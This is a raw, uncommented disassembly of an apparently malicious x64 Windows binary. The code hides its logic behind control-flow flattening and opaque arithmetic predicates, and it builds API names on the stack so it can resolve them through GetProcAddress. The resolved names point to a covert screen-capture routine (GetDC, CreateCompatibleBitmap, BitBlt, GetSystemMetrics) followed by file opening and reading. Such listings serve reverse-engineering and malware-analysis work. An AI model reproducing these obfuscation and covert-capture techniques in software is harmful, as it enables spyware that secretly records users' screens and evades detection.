or edx, ecx
mov edi, edx
xor edi, 0x4001040
xor edx, 0x3000cf8f
or ebx, 0xad217276
mov ecx, ebx
not ecx
and edx, 0xb000ef8f
and edi, 0xd211070
or edi, edx
and ebx, 0xb000ef8f
and ecx, 0x42de0000
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x6a1c8226
and ecx, 0x95e37dd9
or ecx, edx
mov edx, ecx
xor edx, 0x28800220
xor ecx, 0x44145050
and ecx, 0x54565ddf
and edx, 0xaba9a220
or edx, ecx
xor edx, 0xaba9a220
cmp edx, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg r8b
mov ebx, edx
xor bl, r8b
mov eax, ebx
and al, dl
and bl, r8b
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
and r8b, r9b
and dl, r11b
or dl, r8b
mov eax, r11d
and al, r9b
xor r11b, r9b
or r11b, al
mov eax, r11d
xor al, dl
xor dl, 1
xor al, 1
or dl, r11b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x4c606479
mov eax, 0x21167a2e
cmovne edx, eax
test cl, 1
mov eax, 0x4c606479
cmovne eax, edx
test bl, 1
jmp 0x14001468b
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xf0]
mov eax, 0x1a3fde1a
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp byte [rbp + 0x177], 0
mov eax, 0xd4b2f93
mov ecx, 0xd7fcd40c
jmp 0x140014534
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rdx, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r13, rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x48], r12
mov r12, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 8], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0xbc0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov rax, qword [rbp + 0x68]
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140063b20]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x20
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r13
mov rax, qword [rbp + 0x78]
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
mov dword [r13], 0x44746547
mov byte [r13 + 4], 0x43
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, r13
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0x80], rax
mov r13, qword [rbp - 0x28]
mov qword [rbp + 0x88], r13
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x90], r12
mov rax, qword [rbp + 0x90]
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x6e65696c43746547
mov qword [r12], rax
mov dword [r12 + 8], 0x63655274
mov byte [r12 + 0xc], 0x74
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, r12
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
mov rdx, r13
call rax
add rsp, 0x20
mov qword [rbp + 0x98], rsi
mov rax, qword [rbp + 0x98]
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movaps xmmword [rsi], xmm9
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, rsi
call rbx
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x4e
call rax
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov ecx, 0x4f
call rsi
add rsp, 0x20
mov rsi, rax
mov qword [rbp + 0xa0], r15
mov rax, qword [rbp + 0xa0]
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movaps xmmword [r15], xmm7
mov word [r15 + 0x10], 0x4344
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rdx, r15
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rdi
mov rax, qword [rbp + 0xb0]
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movaps xmmword [rdi], xmm7
mov dword [rdi + 0x10], 0x6d746942
mov word [rdi + 0x14], 0x7061
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rdx, rdi
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
mov edx, r12d
mov r8d, esi
call rax
add rsp, 0x20
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movabs rax, 0x624f7463656c6553
mov qword [r14], rax
mov dword [r14 + 8], 0x7463656a
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rdx, r14
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xb8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdx, qword [rbp - 0x30]
mov qword [rbp + 0xc8], rdx
mov rax, qword [rbp + 0xc8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov dword [rdx], 0x42746942
mov word [rdx + 4], 0x746c
mov rcx, qword [0x140063b28]
sub rsp, 0x20
call rbx
add rsp, 0x20
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x50
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
xor edx, edx
xor r8d, r8d
mov r9d, r12d
mov r12, qword [rbp - 0x48]
call rax
add rsp, 0x50
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0xd0], rdx
mov rax, qword [rbp + 0xd0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x616974696e496f43
mov qword [rdx], rax
mov dword [rdx + 8], 0x657a696c
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rbx
xor ecx, ecx
call rax
add rsp, 0x20
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp + 8]
mov qword [rax], 0
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0xe0], rdx
mov rax, qword [rbp + 0xe0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rbx
add rsp, 0x20
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
lea rcx, [0x140056950]
xor edx, edx
mov r8d, 1
lea r9, [0x140056970]
call rax
add rsp, 0x30
mov dword [rbp + 0xe8], eax
cmp dword [rbp + 0xe8], 0
setns byte [rbp + 0xef]
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x1f05bfc7
mov edx, ebx
and edx, 0xe0fa4038
or edx, edi
mov edi, edx
not edi
and edi, 0xe0fa4039
and edx, 0x1f05bfc6
or edx, edi
and ecx, 0x3e7ed2d7
and ebx, 0xc1812d28
or ebx, ecx
mov ecx, ebx
xor ecx, 0xc1810808
mov edi, edx
not edi
mov esi, edi
and esi, 0x18263576
and edx, 0xe7d9ca89
or edx, esi
xor ebx, 0x18261056
and ebx, 0x18263576
and ecx, 0xe7d9ca89
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
sete dl
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov eax, r8d
xor dl, r8b
xor r8b, r9b
not r8b
and r8b, r9b
or al, r9b
xor r8b, 1
mov ebx, r8d
xor bl, al
or r8b, al
xor r8b, 1
or r8b, bl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r8d
xor al, 1
mov edx, r8d
and dl, al
xor al, cl
xor cl, 1
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
xor dl, cl
or cl, r8b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x22cfe17a
mov ecx, 0xe3c9d33c
cmovne eax, ecx
test dl, 1
cmove eax, ecx
not bl
test bl, 1
mov ecx, 0x22cfe17a
jmp 0x140014534
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
not ebx
mov edi, ebx
and edi, 0x1f2e46e2
and ecx, 0xe0d1b91c
or ecx, edi
xor ecx, 0xe0d1b91c
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
not edx
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov ebx, r10d
or bl, r9b
mov eax, r10d
xor al, r9b
not al
and al, r9b
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, edx
xor cl, al
xor al, 1
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x1eed009b
mov ebx, 0xd03172e2
cmovne eax, ebx
test cl, 1
cmovne eax, ebx
not dl
test dl, 1
mov ecx, 0x1eed009b
jmp 0x1400149a6
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
xor edx, edx
call qword [rax + 0x18]
add rsp, 0x20
mov dword [rbp + 0x13c], eax
cmp dword [rbp + 0x13c], 0
setns byte [rbp + 0x143]
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xf56734fc
mov ecx, ebx
and ecx, 0xa98cb02
or ecx, edx
mov edx, ecx
xor edx, 0x108b02
xor ecx, 0xa40100f4
mov esi, ebx
or esi, 0xae8940f4
and ecx, 0xae8940f4
and edx, 0x5176bf0a
or edx, ecx
and esi, 0xae8940f5
xor esi, edx
and edi, 0xa5ac1653
and ebx, 0x5a53e9ac
or ebx, edi
mov ecx, ebx
xor ecx, 0x5a53e9ac
xor ebx, 0xa5ac1653
and ebx, esi
not esi
and ecx, esi
or ebx, ecx
xor esi, ebx
test esi, ebx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
xor cl, 1
and dl, al
and bl, r8b
or bl, dl
xor bl, cl
mov eax, ebx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov edx, 0xfb742d89
mov eax, 0xa6e5ff1b
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xfb742d89
cmovne eax, ebx
test cl, cl
jmp 0x14001468b
mov eax, 0xa00a333b
mov ecx, dword [rbp + 0x1a4]
mov dword [rbp - 0x10], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xdb31bd63
and ecx, edx
not edx
and edx, 0xdb31bd63
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x24ce429c
and ecx, 0xdb31bd63
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x1dc02c2d
and ebx, edx
mov edi, ecx
and edi, 0xe23fd3d2
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
mov ebx, edi
not ebx
and ebx, 0x6031c08b
and edi, 0x9fce3f74
or edi, ebx
xor edi, 0x820e1358
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xd975ad76
and edx, ecx
and ecx, 0x268a5289
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4089
xor ecx, 0xd975ad76
mov edi, edx
not edi
mov esi, ecx
and esi, 0x6ece9750
and ebx, 0x913168af
or ebx, esi
or ecx, edi
and edi, 0x6ece9750
and edx, 0x913168af
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc1a1d53f
and ecx, 0x3e5e2ac0
or ecx, edx
xor ecx, 0x3e5e2ac0
cmp ecx, 0xffffffff
sete r10b
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, edx
xor al, cl
and al, dl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, r9b
mov ebx, ecx
or bl, r10b
xor cl, r10b
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov ebx, ecx
xor bl, 1
and dl, bl
xor bl, dl
test cl, 1
mov eax, 0xff04c487
mov ecx, 0x24c7b50b
cmovne eax, ecx
test dl, 1
mov edx, 0xff04c487
cmove eax, edx
test bl, 1
jmp 0x1400149a6
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, esi
or ebx, 1
mov edx, ebx
not edx
mov edi, esi
or edi, 0x4c13d7ac
and ebx, 0x4c13d7ac
and edx, 0xb3ec2852
or edx, ebx
and edi, 0x4c13d7ad
xor edi, edx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x62c4fdae
and edi, 0x9d3b0251
or edi, ebx
and esi, 0x62c4fdae
and ecx, 0x9d3b0251
or ecx, esi
xor ecx, edi
xor edx, ecx
test edx, ecx
setne dl
sete bl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
and dl, al
or al, bl
and r8b, bl
or r8b, dl
mov r9d, r8d
xor r9b, 1
mov ebx, eax
xor bl, r9b
or al, r9b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, r9b
xor bl, r9b
or al, r8b
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf8e68b7c
mov ebx, 0xb2cbc514
cmovne edx, ebx
test al, 1
mov eax, 0xf8e68b7c
jmp 0x140014685
mov eax, dword [0x140064010]
mov ecx, dword [0x140064014]
lea edi, [rax - 1]
imul edi, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0xc9887ae6
mov ebx, edi
and ebx, 0x36778518
or ebx, eax
xor ebx, 0x36778518
mov eax, edi
and eax, 1
or eax, ebx
mov ebx, eax
not ebx
mov esi, eax
and esi, 0xe4c12c35
and ebx, 0x1b3ed3ca
or ebx, esi
or eax, edi
and edi, 0xe4c12c35
and edx, 0x1b3ed3ca
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x97f22640
and eax, 0x680dd9bf
or eax, edx
xor eax, 0x680dd9bf
sete r8b
setne r9b
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg dl
mov ecx, edx
xor cl, r10b
and cl, dl
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov ebx, eax
xor bl, 1
xor al, cl
or bl, dl
xor bl, 1
or bl, al
or dl, cl
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov ecx, ebx
xor cl, r9b
not cl
and cl, r9b
or bl, r9b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, r10d
and al, r8b
xor r10b, r8b
or al, r10b
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov ebx, 0x1a3fde1a
mov eax, 0x51700f54
cmovne ebx, eax
test dl, 1
mov eax, ebx
mov edx, 0x1a3fde1a
cmovne eax, edx
mov edx, dword [rbp - 0xc]
mov dword [rbp + 0x1ac], edx
jmp 0x14001438c
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
xor edx, edx
call qword [rax + 0x18]
add rsp, 0x20
mov eax, 0x2d363e74
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 3
mov rcx, r12
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [0x140064020]
add rsp, 0x40
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
cmp rax, 0xffffffffffffffff
sete byte [rbp + 0x187]
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x6882540c
mov edx, ebx
and edx, 0x2100b10
or edx, ecx
xor edx, 0x2100b10
mov ecx, ebx
xor ecx, 0x6a925f1c
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0x956da0e2
and ecx, 0x6a925f1d
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x5a6c3fea
and edx, 0xa593c015
or edx, esi
or ecx, ebx
and ebx, 0x5a6c3fea
and edi, 0xa593c015
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x314ea73f
and ecx, 0xceb158c0
or ecx, edx
xor ecx, 0xceb158c0
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, r9d
and cl, al
and r9b, dl
and dl, r8b
or dl, cl
mov r10d, edx
xor r10b, al
and r10b, dl
and al, r8b
or al, r9b
mov edx, r10d
not dl
mov ecx, eax
not cl
and dl, r10b
and cl, al
xor dl, 1
mov r8d, r10d
xor r8b, dl
or dl, r10b
xor dl, 1
or dl, r8b
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xfdf3894
mov ebx, 0xc0287f91
cmovne edx, ebx
test al, 1
mov eax, 0xfdf3894
jmp 0x140014685
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa8]
mov rbx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0xb8]
sub rsp, 0x30
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov r9d, 2
call rax
add rsp, 0x30
mov dword [rbp + 0xf8], eax
cmp dword [rbp + 0xf8], 0
setns byte [rbp + 0xff]
mov edx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x1c88800
mov ebx, ecx
and ebx, 0x40020048
or ebx, edx
xor ebx, 0x40020048
and ecx, 0xbe3577b7
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xbe3577b7
and ecx, 0x41ca8848
or ecx, edx
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x6ebd74eb
mov esi, edi
not esi
mov ebx, eax
or ebx, 0x91428b14
mov edx, ebx
not edx
and edi, 0x19fd41ef
and esi, 0x80028a10
or esi, edi
and ebx, 0x19fd41ef
and edx, 0x66003400
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0x6ebd74ea
and edx, 0x91428b15
or edx, ebx
and eax, 1
xor ecx, 0xfffffffe
or ecx, eax
mov eax, ecx
not eax
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xbd7de605
and edx, 0x428219fa
or edx, edi
or ebx, ecx
and ecx, 0xbd7de605
and eax, 0x428219fa
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0x4c5f8a9f
and eax, ebx
not ebx
and ebx, 0x4c5f8a9f
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb3a07560
and eax, 0x4c5f8a9f
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xd3285b04
and eax, 0x2cd7a4fb
or eax, ecx
xor eax, 0x2cd7a4fb
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
or bl, r8b
mov ecx, edx
or cl, r9b
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, r9b
and al, dl
and r10b, r8b
and dl, r9b
or dl, r10b
mov ebx, eax
xor bl, 1
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xaa5e4ee6
mov ebx, 0x9b34539b
cmovne eax, ebx
test cl, 1
cmovne eax, ebx
not dl
test dl, 1
mov ecx, 0xaa5e4ee6
jmp 0x1400149a6
mov ecx, dword [0x140064010]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x41158c46
mov ebx, eax
and ebx, 0x20202b9
or ebx, ecx
xor ebx, 0x20202b9
mov ecx, eax
and ecx, 0xbce87100
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x6aa72f26
and ecx, 0x9558d0d9
or ecx, ebx
mov ebx, ecx
xor ebx, 0xd64f5e27
and edx, 0x1fc184da
and eax, 0xe03e7b25
or eax, edx
mov edx, eax
xor edx, 0xe03e7b25
xor ecx, 0x29b0a1d8
and edx, ecx
xor eax, 0x1fc184da
and eax, ebx
or eax, edx
xor ecx, eax
test ecx, eax
setne cl
cmp dword [0x140064014], 0xa
setl bl
mov eax, ebx
xor al, cl
mov edx, ebx
xor dl, al
not dl
and dl, al
or cl, bl
xor cl, 1
not al
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or cl, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x5b07ad61
mov ebx, 0x7b0ce055
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x5b07ad61
jmp 0x1400149a6
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov r9, qword [rbp + 0x18]
sub rsp, 0x20
lea rdx, [0x140056960]
xor r8d, r8d
call qword [rax + 0x40]
add rsp, 0x20
mov eax, 0xf4a9091b
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x50]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x50]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x50]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x50]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x50]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x50]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x50]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x50]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x50]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x50]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x50]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov dword [rbp + 0x194], eax
mov esi, dword [rbp + 0x194]
add esi, 0xa
sub rsp, 0x20
mov rcx, rsi
call fcn.140042974
add rsp, 0x20
mov qword [rbp + 0x198], rax
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call fcn.14003c6a0
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
mov r8d, dword [rbp + 0x194]
mov rdx, qword [rbp + 0x198]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor r9d, r9d
call qword [0x140064018]
add rsp, 0x30
test rax, rax
setne byte [rbp + 0x1a2]
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
and ecx, 0xc101
mov edx, esi
and edx, 0x1e112004
or edx, ecx
xor edx, 0x1e112004
and esi, 0xe1ee1efa
or esi, edx
mov ecx, esi
not ecx
and ecx, 0xe1ee1efa
and esi, 0x1e11e105
or esi, ecx
mov edx, esi
not edx
mov ebx, esi
